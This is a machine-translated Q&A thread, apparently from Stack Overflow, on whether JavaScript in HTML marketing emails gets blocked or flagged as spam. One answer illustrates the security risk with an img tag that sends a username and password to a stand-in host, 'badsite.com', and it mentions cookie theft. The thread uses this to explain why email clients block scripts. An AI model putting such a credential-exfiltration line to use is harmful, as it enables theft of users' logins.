这主要是一个修辞问题,据我所知,答案是'甚至不打扰',但我想确定。
我们有一个电子邮件应用,您可以在其中向订阅者列表发送电子邮件。这不是垃圾邮件:例如,它被大学用于向学生发送通信,博物馆向订阅者发送电子邮件等等。
最近,潜在客户询问我是否可以发送包含javascript的html消息而不被标记为垃圾邮件。
不知道,我做了一次网络短途旅行,我得到的是(后面的百分比)“一半的客户将无法正常显示”,“一半的客户会将您标记为垃圾邮件”和“一半的客户将完全阻止javascript”(显然有一些叠加)。
因此,如果确实有必要,最佳解决方案似乎是添加指向正确页面的链接。你有不同的经历吗?您知道任何提供此功能的电子邮件合并解决方案吗?你知道具体的客户是否接受它或拒绝用javascript显示html?
答案 0 :(得分:9)
您已在电子邮件中列出了针对javascript使用的正确参数。这些告诉你这是一个坏主意。链接到您可以自由使用javascript的页面是一个不错的选择,并允许用户决定是否以及何时访问此“增强”内容。
答案 1 :(得分:0)
JavaScript的问题在于它会带来安全威胁。如果有任何电子邮件客户端接受它,那么它很可能是一个安全漏洞,应该修复。
所以,真的,“不要打扰”,因为即使它有效,它也很快就会停止工作。
编辑:有些人似乎不明白为什么为什么这是一个安全风险,所以我会解释。
请考虑以下代码(使用Javascript和不安全的电子邮件客户端窃取密码的多种方法之一)。
使用JavaScript:
<img src="badsite.com/senddata?username=user&password=pass">
等内容将其内容发送到您的网站。通常,在您自己的不安全网站中使用JavaScript创建表单本身并不是有害的,因为浏览器足够聪明,只能将gmail数据告诉gmail(而且您通常不会尝试从您自己的网站窃取密码,在这种情况下,无论如何都会有更容易的方法来窃取它们。
但是,如果您在电子邮件中允许JavaScript,则浏览器无法将合法JavaScript与不安全代码分开。
如果电子邮件客户端无法过滤JavaScript,也可能发生Cookie被盗。
答案 2 :(得分:0)
垃圾邮件如此重要,我会坚持发送易于消费的基本电子邮件。您随时可以链接到包含javascript的网页。您还可以在URL中发送查询字符串参数,以跟踪对您的电子邮件最感兴趣的用户,因为这会告诉您他们是单击它们的。因此尽管可能,但最好避免它。
答案 3 :(得分:0)
答案 4 :(得分:-1)
如果电子邮件链接到缓存了您的用户名和密码的客户端,则浏览器中存在漏洞...电子邮件通常会在浏览器中打开...